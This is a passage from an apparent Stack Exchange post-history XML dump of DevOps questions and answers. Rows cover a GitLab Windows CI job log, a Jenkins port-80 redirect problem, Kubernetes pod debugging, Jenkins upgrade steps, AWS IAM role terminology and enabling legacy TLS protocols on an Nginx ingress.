repository.[0;m&#xD;&#xA;[32;1mChecking out 91f0d9e3 as master...[0;m&#xD;&#xA;From https://gitlab.com/maltfield/cross-platform-python-gui&#xD;&#xA; * [new ref]         refs/pipelines/151176370 -&gt; refs/pipelines/151176370&#xD;&#xA; * [new branch]      master                   -&gt; origin/master&#xD;&#xA;git-lfs/2.8.0 (GitHub; windows amd64; go 1.12.2; git 30af66bb)&#xD;&#xA;&#xD;&#xA;[32;1mUpdating/initializing submodules...[0;m&#xD;&#xA;git-lfs/2.8.0 (GitHub; windows amd64; go 1.12.2; git 30af66bb)&#xD;&#xA;section_end:1590842661:get_sources&#xD;&#xA;[0Ksection_start:1590842661:restore_cache&#xD;&#xA;[0K[0K[36;1mRestoring cache[0;m&#xD;&#xA;[0;msection_end:1590842670:restore_cache&#xD;&#xA;[0Ksection_start:1590842670:download_artifacts&#xD;&#xA;[0K[0K[36;1mDownloading artifacts[0;m&#xD;&#xA;[0;msection_end:1590842677:download_artifacts&#xD;&#xA;[0Ksection_start:1590842677:build_script&#xD;&#xA;[0K[0K[36;1mRunning before_script and script[0;m&#xD;&#xA;[0;m[32;1m$ build/windows/buildExe.ps1[0;m&#xD;&#xA;listing contents of C drive root&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    Directory: C:\&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Mode                LastWriteTime         Length Name                                                                  &#xD;&#xA;----                -------------         ------ ----                                                                  &#xD;&#xA;d--hs-       12/11/2019   2:47 AM                $RECYCLE.BIN                                                          &#xD;&#xA;d--hs-        2/25/2020   8:52 PM                Boot                                                                  &#xD;&#xA;d--hsl       12/11/2019  10:29 AM                Documents and Settings                                                &#xD;&#xA;d-----        2/25/2020   8:16 PM                Git                                                                   &#xD;&#xA;d-----        5/30/2020  12:44 PM                GitLab-Runner                                                         &#xD;&#xA;d-----        2/25/2020   8:16 PM                GitLFS                                                                &#xD;&#xA;d-----        2/25/2020   8:34 PM                Go                                                                    &#xD;&#xA;d-----        9/15/2018   7:12 AM                PerfLogs                                                              &#xD;&#xA;d-r---        2/25/2020   8:35 PM                Program Files                                                         &#xD;&#xA;d-----        2/25/2020   8:27 PM                Program Files (x86)                                                   &#xD;&#xA;d--h--        2/25/2020   8:51 PM                ProgramData                                                           &#xD;&#xA;d--hs-        2/25/2020   8:10 PM                Recovery                                                              &#xD;&#xA;d--hs-       12/11/2019  10:28 AM                System Volume Information                                             &#xD;&#xA;d-----        2/25/2020   8:32 PM                tools                                                                 &#xD;&#xA;d-r---        5/30/2020  12:43 PM                Users                                                                 &#xD;&#xA;d-----        2/25/2020   8:38 PM                vcpkg                                                                 &#xD;&#xA;d-----        2/25/2020   8:51 PM                Windows                                                               &#xD;&#xA;-arhs-        2/25/2020   8:45 PM         408834 bootmgr                                                               &#xD;&#xA;-a-hs-        9/15/2018   7:09 AM              1 BOOTNXT                                                               &#xD;&#xA;-a-hs-        5/30/2020  12:41 PM     1073741824 pagefile.sys                                                          &#xD;&#xA;listing contents of cwd&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    Directory: C:\GitLab-Runner\builds\maltfield\cross-platform-python-gui&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Mode                LastWriteTime         Length Name                                                                  &#xD;&#xA;----                -------------         ------ ----                                                                  &#xD;&#xA;d--h--        5/30/2020  12:44 PM                .git                                                                  &#xD;&#xA;d-----        5/30/2020  12:44 PM                build                                                                 &#xD;&#xA;d-----        5/30/2020  12:44 PM                src                                                                   &#xD;&#xA;-a----        5/30/2020  12:44 PM            534 .gitlab-ci.yml                                                        &#xD;&#xA;-a----        5/30/2020  12:44 PM          35787 LICENSE                                                               &#xD;&#xA;-a----        5/30/2020  12:44 PM           1171 README.md                                                             &#xD;&#xA;-a----        5/30/2020  12:44 PM              6 requirements.txt                                                      &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;section_end:1590842686:build_script&#xD;&#xA;[0Ksection_start:1590842686:archive_cache&#xD;&#xA;[0K[0K[36;1mSaving cache[0;m&#xD;&#xA;[0;msection_end:1590842694:archive_cache&#xD;&#xA;[0Ksection_start:1590842694:upload_artifacts_on_success&#xD;&#xA;[0K[0K[36;1mUploading artifacts for successful job[0;m&#xD;&#xA;[0;msection_end:1590842701:upload_artifacts_on_success&#xD;&#xA;[0K[32;1mJob succeeded&#xD;&#xA;[0;m&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;As for MacOS, gitlab currently doesn't support it natively. If this changes, updated answers are welcome.&#xD;&#xA;&#xD;&#xA;Other answers showing how to run MacOS inside a VM (eg using vagrant and libvirt) on a gitlab shared runner are very welcome :)&#xD;&#xA;&#xD;&#xA;  [1]: http://%20*%20https://docs.gitlab.com/ee/ci/yaml/#tags&#xD;&#xA;  [2]: https://about.gitlab.com/blog/2020/01/21/windows-shared-runner-beta/&#xD;&#xA;  [3]: https://gitlab.com/maltfield/cross-platform-python-gui/-/blob/91f0d9e31ed5c5cfdcd073accc1b3cc86a00df0b/.gitlab-ci.yml&#xD;&#xA;  [4]: https://gitlab.com/maltfield/cross-platform-python-gui/-/blob/91f0d9e31ed5c5cfdcd073accc1b3cc86a00df0b/build/windows/buildExe.ps1&#xD;&#xA;  [5]: https://gitlab.com/maltfield/cross-platform-python-gui/-/jobs/574193500" ContentLicense="CC BY-SA 4.0" />
  <row Id="35912" PostHistoryTypeId="50" PostId="11408" RevisionGUID="b1638f60-de4b-47c4-a928-8f258d92ea86" CreationDate="2020-05-30T13:04:05.507" UserId="-1" />
  <row Id="35913" PostHistoryTypeId="5" PostId="11730" RevisionGUID="61ea63b6-a8ff-46b6-9dab-971968432705" CreationDate="2020-05-30T13:10:20.180" UserId="22514" Comment="edited body" Text="The Jenkins container redirects to `URL:80`, which is causing an error. When I remove the `:80`, everything is working as it should.&#xD;&#xA;&#xD;&#xA;I have tried the proxy with a simple web app and there were no issues.&#xD;&#xA;&#xD;&#xA;This is the `docker-compose.yml` https://pastebin.com/djJTuBZL.&#xD;&#xA;&#xD;&#xA;The cert is correctly issued and the connection is secured. The host I'm using is live and correctly configured with ports 80 and 443 open.&#xD;&#xA;&#xD;&#xA;The container exposes `8080` and this is the same as the `VIRTUAL_PORT`.&#xD;&#xA;&#xD;&#xA;Also, I would have assumed that accessing an address with `:80` wouldn't have caused any issues this being the standard HTTP port eg `www.google.com:80`; unless I'm missing something.&#xD;&#xA;&#xD;&#xA;If this helps this is the logs when I run `docker-compose up` https://pastebin.com/NUbDL7PC.&#xD;&#xA;Here are the logs when I try to do the first login, the space is before I remove the `:80` then load the page https://pastebin.com/0wxGDBzi.&#xD;&#xA;&#xD;&#xA;I would appreciate any advice, thank you." ContentLicense="CC BY-SA 4.0" />
  <row Id="35914" PostHistoryTypeId="2" PostId="11732" RevisionGUID="5719e359-bfee-483d-8997-f048c35bb9df" CreationDate="2020-05-30T20:13:33.360" UserId="17675" Text="After starting a long running kubernetes job we've found that the final result will fail to upload to its final location. We would like to force the pod to stay open after the main process fails so we can exec in and manually process the final results. If the main process fails and the pod exits before uploading the final result we will lose a large amount of time to re-process the job.&#xD;&#xA;&#xD;&#xA;Is there a way to ensure the pod stays alive manually?" ContentLicense="CC BY-SA 4.0" />
  <row Id="35915" PostHistoryTypeId="1" PostId="11732" RevisionGUID="5719e359-bfee-483d-8997-f048c35bb9df" CreationDate="2020-05-30T20:13:33.360" UserId="17675" Text="Can a kubernetes pod be forced to stay alive after its main command fails?" ContentLicense="CC BY-SA 4.0" />
  <row Id="35916" PostHistoryTypeId="3" PostId="11732" RevisionGUID="5719e359-bfee-483d-8997-f048c35bb9df" CreationDate="2020-05-30T20:13:33.360" UserId="17675" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35917" PostHistoryTypeId="2" PostId="11733" RevisionGUID="a3c91a22-5e58-4f0e-b051-33cdd77b66a9" CreationDate="2020-05-31T02:53:44.837" UserId="22518" Text="Just found this question from 5 days ago because I'm running into the same thing on a RPi 4, also using the convenience script. I'm tempted to just kill the process now, since I'm guessing everything's installed?&#xD;&#xA;&#xD;&#xA;I know this will be downvoted, but I'm hoping it'll have the same effect as a forum &quot;bump&quot;, and someone who knows might be able to answer (at which point, I'll delete this). Would have just added a comment, but apparently SE thinks it makes sense to require reputation for that.&#xD;&#xA;&#xD;&#xA;Frickin walked up to QuikTrip and back (instead of driving), hoping that it'd be done by the time I got back and I'd get some exercise in the meanwhile. What is the DEAL with this?" ContentLicense="CC BY-SA 4.0" />
  <row Id="35918" PostHistoryTypeId="5" PostId="11733" RevisionGUID="e2355a31-11e7-4eff-837d-85e419b5314e" CreationDate="2020-05-31T03:28:41.583" UserId="22518" Comment="killing the process worked" Text="Just found this question from 5 days ago because I ran into the same thing on a RPi 4, also using the convenience script.&#xD;&#xA;&#xD;&#xA;Frickin walked up to QuikTrip and back (instead of driving), hoping that it'd be done by the time I got back and I'd get some exercise in the meanwhile. Nope.&#xD;&#xA;&#xD;&#xA;Just kill the process after a while. That's what I did, and Docker is running just fine, now." ContentLicense="CC BY-SA 4.0" />
  <row Id="35919" PostHistoryTypeId="2" PostId="11734" RevisionGUID="28315136-83f9-49f7-920f-bf94dd56862e" CreationDate="2020-05-31T05:33:52.400" UserId="22517" Text="You would normally use an Azure AD object like a Service Principal to get the credentials for AKS using the `az aks get-credentials` command.&#xD;&#xA;&#xD;&#xA;To expire the aks credentials, you need to set a policy for token expiry on the&#xD;&#xA;Service principal which you use.&#xD;&#xA;&#xD;&#xA;Once you set the expiry time, kubectl will ask you to reauthenticate when the token expires. &#xD;&#xA;&#xD;&#xA;**Refer:** https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-configurable-token-lifetimes&#xD;&#xA;&#xD;&#xA;This github issue can help understand as well: https://github.com/Azure/AKS/issues/133&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35920" PostHistoryTypeId="5" PostId="11733" RevisionGUID="50bf7da5-95cb-4497-85db-369554496214" CreationDate="2020-05-31T05:53:29.027" UserId="40" Comment="remove noise" Text="Just found this question from 5 days ago because I ran into the same thing on a RPi 4, also using the convenience script.&#xD;&#xA;&#xD;&#xA;Just waiting a bit did not seem to help. So I killed the process after a while. And Docker is running just fine, now." ContentLicense="CC BY-SA 4.0" />
  <row Id="35921" PostHistoryTypeId="2" PostId="11735" RevisionGUID="bf2390d1-3225-4e78-a83e-d7551448f72f" CreationDate="2020-05-31T06:13:20.240" UserId="22517" Text="Keeping your pod alive after its main process exited is an anti-pattern and not possible in K8s.&#xD;&#xA;&#xD;&#xA;The entire concept of a K8s Job is to run till completion. So what you are looking to do is neither ideal nor recommended.&#xD;&#xA;&#xD;&#xA;It would be better to change the entrypoint command of your container to include a retry/error handling mechanism in case of failure.&#xD;&#xA;&#xD;&#xA;With that said, you do have ways in which you can **debug** the failed pod.&#xD;&#xA;&#xD;&#xA;If your Pod's container process exits due to error, the Pod will be marked with `Status: Failed`&#xD;&#xA;&#xD;&#xA;But you can still debug the failed pod by attaching an Ephemeral container: https://kubernetes.io/docs/tasks/debug-application-cluster/debug-running-pod/#debugging-with-ephemeral-debug-container&#xD;&#xA;&#xD;&#xA;**Note:** Ephemeral containers are available as K8s alpha feature only from v1.16" ContentLicense="CC BY-SA 4.0" />
  <row Id="35926" PostHistoryTypeId="5" PostId="9749" RevisionGUID="08a96f1d-0e49-4151-83f2-0895bdba1ca2" CreationDate="2020-05-31T10:49:52.807" UserId="13379" Comment="fix jenksci/docker links" Text="Not to take away from @vaporwave_sailor or @Alex, answers, but to add to..&#xD;&#xA;&#xD;&#xA;The basic answer is **you MUST upgrade the war first, then the plugins.** All plugins depend on a minimum Jenkins version and the [Update Centre][1] will give you different information back.&#xD;&#xA;&#xD;&#xA;If you don't upgrade often, use the [LTS version][2]. **READ the [Upgrade Guide][3]. READ the [Changelog][4]. Re-READ the [Upgrade Guide][3]**. Do the same for all your **core plugins**. There are **significant changes**, especially around security which may require modifications on your part. Many previously bundled are no longer bundled. Long unsupported plugins may have better alternatives or contain security issues you should be aware of. Behaviors and settings may change.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The following are NOT exact steps, rather things to do in the process. Descriptive, not prescriptive.&#xD;&#xA;&#xD;&#xA;Consider installing the Jenkins [Configuration as Code (JCasC) plugi][5]n to your existing installation first. That will generally let you export almost your entire configuration and simply reload into a new instance. Much easier, but does not handle plugins. For now rip a solution from [docker/install_plugins.sh][6] for local use; see [Preinstalling Plugins][7].&#xD;&#xA;&#xD;&#xA;Take a backup of your existing Jenkins and install install a &quot;Dev&quot; location. Validate your upgrade there before applying to Prod. ALWAYS. (Also, regularly backup your Prod anyway).&#xD;&#xA;&#xD;&#xA;Split the backup in two parts, the system configuration and the jobs. Jobs are in ${JENKINS_HOME}/jobs. The system configuration includes (in `${JENKINS_HOME}`),  `./*.xml ./secret.key* ./secrets ./security-tokens ./nodes` , possibly others.&#xD;&#xA;&#xD;&#xA;Back to the plugins for a minute. I agree w/adding them in segments:&#xD;&#xA;&#xD;&#xA; - Authentication plugins&#xD;&#xA; - Presentation plugins (eg:Active-directory, credentials)&#xD;&#xA; - SCM plugins (eg: Git)&#xD;&#xA; - Adminstrative plugins (eg: greenballs, windows-slaves)&#xD;&#xA; - Tools plugins (eg: ant, maven-plugin)&#xD;&#xA; - Pipeline plugins (eg: workflow-aggregator, Blue-Ocean, K8s) &#xD;&#xA;&#xD;&#xA;All the above are &quot;Global plugins, with Configurations&quot;&#xD;&#xA;&#xD;&#xA; - Finally, job step plugins; these are job specific.&#xD;&#xA;&#xD;&#xA;If using the install_plugins.sh approach, you only need worry about the highest level plugin as it will pull the dependencies. If you install blueocean, it installs some 25 plugins. Just specify the first and you get the rest. Bear in mind, install_plugins.sh is dynamic, in that it gets the available dependencies at the time. So, we decide on the top list, manage that, run once to get the complete list, then read the validated explicit list into the Prod instance (manage the short one, use the complete one, save both). We manage 55 top-level plugins, but there are 160 installed including all dependencies in the full list.&#xD;&#xA;&#xD;&#xA;This groovy script will get you your existing plugins:&#xD;&#xA;&#xD;&#xA;    Jenkins.instance.pluginManager.plugins.sort(false) { a, b -&gt; a.getShortName().toLowerCase() &lt;=&gt; b.getShortName().toLowerCase()}.each { plugin -&gt;&#xD;&#xA;       println &quot;${plugin.getShortName()}:${plugin.getVersion()} | ${plugin.getDisplayName()} &quot;&#xD;&#xA;    }&#xD;&#xA;       // the following may also be useful&#xD;&#xA;       // println &quot;+++ ${plugin.getDependants()}&quot;&#xD;&#xA;       // println &quot;... ${plugin.getDependencies()&quot;&#xD;&#xA;&#xD;&#xA;In the Dev instance, install the war, install the plugins, create a file `${JENKINS_HOME}/init.groovy`, add the line:&#xD;&#xA;`Hudson.instance.doQuietDown();`. That lets your system start without letting any [jobs start][8]. That way you can examine the system logs w/o panicking or getting confused. Look at everything before `INFO: Jenkins is fully up and running`.&#xD;&#xA;&#xD;&#xA;Now, you can install the system configurations, but not the `./jobs` and not the `./nodes`. Start it up and **check the logs** for information, warning alerts and errors. &#xD;&#xA;&#xD;&#xA;You might even want to start with your existing war version and existing plugins and basic config, fire that up and save the logs as references. Then, using the UI, upgrade the war, then restart, then the plugins using the UI, then restart, then check and save the logs as references.&#xD;&#xA;&#xD;&#xA;If using JCasC, you may go w/a slim install of the configurations,then import your JCasC configurations. [JCasC usage here][9].&#xD;&#xA;&#xD;&#xA;*NB: You will notice one major change is more plugins are moving to their own xml configuration instead of adding to the master config.xml. There are many plugins especially that say this configuration is NOT backward compatible. You would have to restore the old config when &quot;downgrading&quot; (correct language - start again from step 1)&#xD;&#xA;&#xD;&#xA;Only once your core system starts fine, then I would add the jobs (with `QuietDown()` in place ), no nodes and in QuiteDown. Start up again, examine logs for errors, upgrade warnings, etc. Deal w/those. Many plugins will change their data format, hence the many warnings you see, and the [&quot;Manage Old Data&quot;][10]. IF you're truly paranoid, you may even write a little groovy script that finds all your jobs and re-saves them. While Jenkins knows of the configuration changes, it does not actually change and update the plugin references in the jobs until the job is run or saved (if you need a script, ask a separate question).&#xD;&#xA;&#xD;&#xA;Shutdown, delete the jobs directory (this is your DEV instance, so you are OK). &#xD;&#xA;&#xD;&#xA;Startup up again and create a small set of validation jobs. These validate all the steps of your real jobs but without impacting them. They are the &quot;test cases&quot; @Alex refers to. We use &quot;sampleApps&quot; of different flavors we have and jobs that cover all the steps. We have test jobs that just get on a node, dump the environment, jobs that clone a repo and build (in the flavors), one that does the whole cycle: clone, build analyze, test, deploy, as well as pipeline jobs (phased). You can now add the nodes configuration and startup and execute those. **They are your validation**. If they work, then you are as prepared as you can be. You can now export the JCasC configuration as well.&#xD;&#xA;&#xD;&#xA;Now, delete the entire Dev instance and **REDO** using only your finalized configuration and steps as you documented. Did everything work as expected? Run JCasC again, did they match?&#xD;&#xA;&#xD;&#xA;Now you can apply the same finalized configuration to your Prod. Shutdown Production and TAKE ANOTHER BACKUP. I'd add the `QuietDown()` first to Prod. &#xD;&#xA;&#xD;&#xA;Finally, consider taking advantage of some new &quot;[System Properties][11]&quot;. You can now set locations outside of ${JENKINS_HOME} for `jenkins.model.Jenkins.buildsDir` (ps: sym-links in builds are [now optional][12]) and `jenkins.model.Jenkins.workspacesDir`, removing useless data from the ${JENKINS_HOME}. Your backups will be smaller and simpler and your system performacne may improve! You'll also want to set `jenkins.install.runSetupWizard` to false.&#xD;&#xA;&#xD;&#xA;Remember, this is descriptive, not preservative. Tailor to your own needs and risk tolerance.&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/jenkins-infra/update-center2/tree/master/site&#xD;&#xA;  [2]: https://jenkins.io/download/&#xD;&#xA;  [3]: https://jenkins.io/doc/upgrade-guide&#xD;&#xA;  [4]: https://jenkins.io/changelog-stable&#xD;&#xA;  [5]: https://plugins.jenkins.io/configuration-as-code&#xD;&#xA;  [6]: https://github.com/jenkinsci/docker/blob/master/install-plugins.sh&#xD;&#xA;  [7]: https://github.com/jenkinsci/docker/blob/master/README.md#preinstalling-plugins&#xD;&#xA;  [8]: https://www.praqma.com/stories/jenkins-quiet-startup/&#xD;&#xA;  [9]: https://github.com/jenkinsci/configuration-as-code-plugin/blob/master/README.md&#xD;&#xA;  [10]: https://jenkins.io/doc/book/managing/plugins/#removing-old-data&#xD;&#xA;  [11]: https://wiki.jenkins.io/display/JENKINS/Features+controlled+by+system+properties&#xD;&#xA;  [12]: https://wiki.jenkins.io/display/JENKINS/Build+Symlink+Plugin&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35927" PostHistoryTypeId="2" PostId="11737" RevisionGUID="41dd2caf-257b-4ccb-a34b-73449ecc9f3d" CreationDate="2020-05-31T20:29:16.233" UserId="22525" Text="For anyone who is scratching their head at the naming convention:&#xD;&#xA;&#xD;&#xA;**AssumeRolePolicyDocument** (in CloudFormation yaml) = **Trust Relationships** (in AWS Console web GUI)&#xD;&#xA;&#xD;&#xA;**Policies** (in CloudFormation yaml) = **Permissions** (in AWS Console web GUI)" ContentLicense="CC BY-SA 4.0" />
  <row Id="35928" PostHistoryTypeId="2" PostId="11738" RevisionGUID="5bcbb090-1b7a-4837-bbe1-ca5d2ebbd3a9" CreationDate="2020-05-31T21:15:18.990" UserId="22526" Text="If it's a brand new Jenkins, you can try creating an SSH tunnel directly into the container with port 8080 and checking if the problem also appears there. That will at least allow you to check if it's Jenkins redirecting you or Nginx.&#xD;&#xA;&#xD;&#xA;There you can also try adjusting &quot;Jenkins URL&quot; in &quot;Manage Jenkins&quot; -&gt; &quot;Configure System&quot;. &#xD;&#xA;&#xD;&#xA;Alternatively, check  `jenkins_home/jenkins.model.JenkinsLocationConfiguration.xml`. jenkinsUrl tag is also present there." ContentLicense="CC BY-SA 4.0" />
  <row Id="35929" PostHistoryTypeId="50" PostId="5377" RevisionGUID="47e18cbd-c49e-417f-948c-a1a65233026a" CreationDate="2020-05-31T23:06:15.650" UserId="-1" />
  <row Id="35930" PostHistoryTypeId="50" PostId="9369" RevisionGUID="ccac5c3e-248f-4557-84f0-a53e8fa76c9f" CreationDate="2020-06-01T00:04:35.417" UserId="-1" />
  <row Id="35931" PostHistoryTypeId="5" PostId="11729" RevisionGUID="ee42ebf5-537b-4980-af70-566620a440eb" CreationDate="2020-06-01T05:11:01.503" UserId="13364" Comment="added 573 characters in body" Text="I have some problems with enabling SSLv3 in my Nginx Ingress used as a Minikube addon.&#xD;&#xA;I have read in [docs][1] how to do it. It should be as simple as adding single map.&#xD;&#xA;Unfortunately I haven't had much success with it. It added this map in both namespaces - kube-system and the second one in which ingress is created. &#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;kind: ConfigMap&#xD;&#xA;apiVersion: v1&#xD;&#xA;metadata:&#xD;&#xA;  name: nginx-config&#xD;&#xA;data:&#xD;&#xA;  ssl-ciphers: &quot;ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384:DHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA:ECDHE-RSA-AES256-SHA:DHE-RSA-AES128-SHA256:DHE-RSA-AES256-SHA256:AES128-GCM-SHA256:AES256-GCM-SHA384:AES128-SHA256:AES256-SHA256:AES128-SHA:AES256-SHA:DES-CBC3-SHA&quot;&#xD;&#xA;  ssl-protocols: &quot;SSLv2 SSLv3 TLSv1 TLSv1.1 TLSv1.2 TLSv1.3&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I did it separately and even forced nginx-ingress-controller but nothing happened. I have also found out about nginx-load-balancer-conf ConfigMap in kube-system namespace and added the same entries there too, but it didn't help either.&#xD;&#xA;&#xD;&#xA;ssl-protocols seems to be one of few properties which can be defined in [ConfigMap][2] but no by [annotations][3].&#xD;&#xA;&#xD;&#xA;So my question is: Am I making some kind of stupid mistake or Minikube requires some different configuration? &#xD;&#xA;&#xD;&#xA;I'm checking result of my actions by [testssl.sh][4].&#xD;&#xA;&#xD;&#xA;@Update&#xD;&#xA;I have listed my ingress controller config and there is my list of enabled ssl-protocols containing all I lisited, so I guess config is read, but not used. I have also read the logs but there is no errors there suggesting that for some reason SSLv3 cannot be used.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;user@server:~$ kubectl exec -it -n kube-system nginx-ingress-controller-658b646bc5-4h562 cat /etc/nginx/nginx.conf | grep ssl&#xD;&#xA;			is_ssl_passthrough_enabled = false,&#xD;&#xA;		listen_ports = { ssl_proxy = &quot;442&quot;, https = &quot;443&quot; },&#xD;&#xA;	ssl_protocols SSLv2 SSLv3 TLSv1 TLSv1.1 TLSv1.2 TLSv1.3;&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://kubernetes.github.io/ingress-nginx/user-guide/tls/#legacy-tls&#xD;&#xA;  [2]: https://docs.nginx.com/nginx-ingress-controller/configuration/global-configuration/configmap-resource/&#xD;&#xA;  [3]: https://docs.nginx.com/nginx-ingress-controller/configuration/ingress-resources/advanced-configuration-with-annotations/&#xD;&#xA;  [4]: https://testssl.sh" ContentLicense="CC BY-SA 4.0" />
  <row Id="35932" PostHistoryTypeId="5" PostId="11730" RevisionGUID="8efa6e33-c768-4241-aed9-c77f54982f25" CreationDate="2020-06-01T07:08:00.120" UserId="22373" Comment="Removed unnecessary words" Text="The Jenkins container redirects to `URL:80`, which is causing an error. When I remove the `:80`, everything is working as it should.&#xD;&#xA;&#xD;&#xA;I have tried the proxy with a simple web app and there were no issues.&#xD;&#xA;&#xD;&#xA;This is the `docker-compose.yml` https://pastebin.com/djJTuBZL.&#xD;&#xA;&#xD;&#xA;The cert is correctly issued and the connection is secured. The host I'm using is live and correctly configured with ports 80 and 443 open.&#xD;&#xA;&#xD;&#xA;The container exposes `8080` and this is the same as the `VIRTUAL_PORT`.&#xD;&#xA;&#xD;&#xA;Also, I would have assumed that accessing an address with `:80` wouldn't have caused any issues this being the standard HTTP port eg `www.google.com:80`; unless I'm missing something.&#xD;&#xA;&#xD;&#xA;If this helps this is the logs when I run `docker-compose up` https://pastebin.com/NUbDL7PC.&#xD;&#xA;Here are the logs when I try to do the first login, the space is before I remove the `:80` then load the page https://pastebin.com/0wxGDBzi.&#xD;&#xA;&#xD;&#xA;How can I resolve this problem?" ContentLicense="CC BY-SA 4.0" />
  <row Id="35933" PostHistoryTypeId="24" PostId="11730" RevisionGUID="8efa6e33-c768-4241-aed9-c77f54982f25" CreationDate="2020-06-01T07:08:00.120" Comment="Proposed by 22373 approved by 354, 40 edit id of 1210" ContentLicense="CC BY-SA 4.0" />
  <row Id="35934" PostHistoryTypeId="2" PostId="11739" RevisionGUID="d2424c52-c887-45f9-8724-21c52559627e" CreationDate="2020-06-01T07:24:05.240" UserId="22198" Text="Is it possible to generate daily reports with ELK opensource version? I want to include some graphs from an existing ELK visualization. Is that possible? At least is it possible to export a graph in a visualization to a pdf or html?" ContentLicense="CC BY-SA 4.0" />
  <row Id="35935" PostHistoryTypeId="1" PostId="11739" RevisionGUID="d2424c52-c887-45f9-8724-21c52559627e" CreationDate="2020-06-01T07:24:05.240" UserId="22198" Text="Daily report generation with ELK open source version" ContentLicense="CC BY-SA 4.0" />
  <row Id="35936" PostHistoryTypeId="3" PostId="11739" RevisionGUID="d2424c52-c887-45f9-8724-21c52559627e" CreationDate="2020-06-01T07:24:05.240" UserId="22198" Text="&lt;automation&gt;&lt;elk&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35937" PostHistoryTypeId="2" PostId="11740" RevisionGUID="330769da-dfae-42a6-8559-862bd35bb9a8" CreationDate="2020-06-01T07:37:34.860" UserId="22517" Text="Posting this as an answer since I don't have reputation to comment:&#xD;&#xA;&#xD;&#xA;You can try the [kubeyaml][1] validator. It doesn't convert the yamls but it does show the exact errors for incompatible yaml for each version. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://kubeyaml.com/" ContentLicense="CC BY-SA 4.0" />
  <row Id="35938" PostHistoryTypeId="5" PostId="11740" RevisionGUID="c5365d1c-9aaa-4827-ad10-21bdc6d244d5" CreationDate="2020-06-01T09:10:21.657" UserId="40" Comment="deleted 69 characters in body" Text="&#xD;&#xA;You can try the [kubeyaml][1] validator. It doesn't convert the yamls but it does show the exact errors for incompatible yaml for each version. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://kubeyaml.com/" ContentLicense="CC BY-SA 4.0" />
  <row Id="35939" PostHistoryTypeId="2" PostId="11741" RevisionGUID="78183aad-cd17-4081-9ebb-aed59df0a197" CreationDate="2020-06-01T10:13:19.287" UserId="22531" Text="I think it's much clearer when considering the user that creates a role isn't necessarily the one attaching it for use somewhere:&#xD;&#xA;&#xD;&#xA;- `AssumeRolePolicyDocument` is a restriction placed by the user that creates the role - e.g. possibly an admin. It prevents other users from attaching it to any AWS service / user they like. Also, it tells nothing about *where* it's actually used. It's a protection on the Role-side (treating Role as a resource that should also be protected).&#xD;&#xA;&#xD;&#xA;- OTOH, actually assigning a role to a service / user, is done by users that actually need now some service to have permissions. And they're allowed to do it only if the Role's `AssumeRolePolicyDocument` allows it.&#xD;&#xA;&#xD;&#xA;Granted, when you're the sole user you might not care much about it. It does, though, add more security and documents (forcibly :) ) how the role is intended to be used." ContentLicense="CC BY-SA 4.0" />
  <row Id="35941" PostHistoryTypeId="2" PostId="11742" RevisionGUID="ffad3d71-7f03-4fd0-9c15-7f2c5d10a052" CreationDate="2020-06-01T12:59:25.593" UserId="22535" Text="I have a requirement to setup a bastion host (Amazon Workspace) to connect to an ec2 instance living on a different account. &#xD;&#xA;&#xD;&#xA;As Amazon Workspaces cannot assume a role the way EC2s can, A cross account policy cannot be used to setup a link between them. &#xD;&#xA;&#xD;&#xA;Both Amazon Workspace and EC2 instance live in their respectve VPC's in separate accounts. Is there a Cross account policy like solution which I can use to link these two?&#xD;&#xA;&#xD;&#xA;P.S. I cannot create a Workspace in the same VPC/Account because the directory service is only available in one account but the EC2 which needs to be connected to is in other. Also, the EC2 cannot go public as well. " ContentLicense="CC BY-SA 4.0" />
  <row Id="35942" PostHistoryTypeId="1" PostId="11742" RevisionGUID="ffad3d71-7f03-4fd0-9c15-7f2c5d10a052" CreationDate="2020-06-01T12:59:25.593" UserId="22535" Text="Cross Account EC2 Access from within Amazon Workspace" ContentLicense="CC BY-SA 4.0" />
  <row Id="35943" PostHistoryTypeId="3" PostId="11742" RevisionGUID="ffad3d71-7f03-4fd0-9c15-7f2c5d10a052" CreationDate="2020-06-01T12:59:25.593" UserId="22535" Text="&lt;amazon-web-services&gt;&lt;amazon-ec2&gt;&lt;aws-cli&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35944" PostHistoryTypeId="2" PostId="11743" RevisionGUID="28206b20-92e5-4ad7-8a4c-4ffec7f69969" CreationDate="2020-06-01T13:21:02.533" UserId="17329" Text="For K8s the go to solution for me was https://www.confluent.io/ helm chart. I think they cover your needs, you can read the technical doc for more." ContentLicense="CC BY-SA 4.0" />
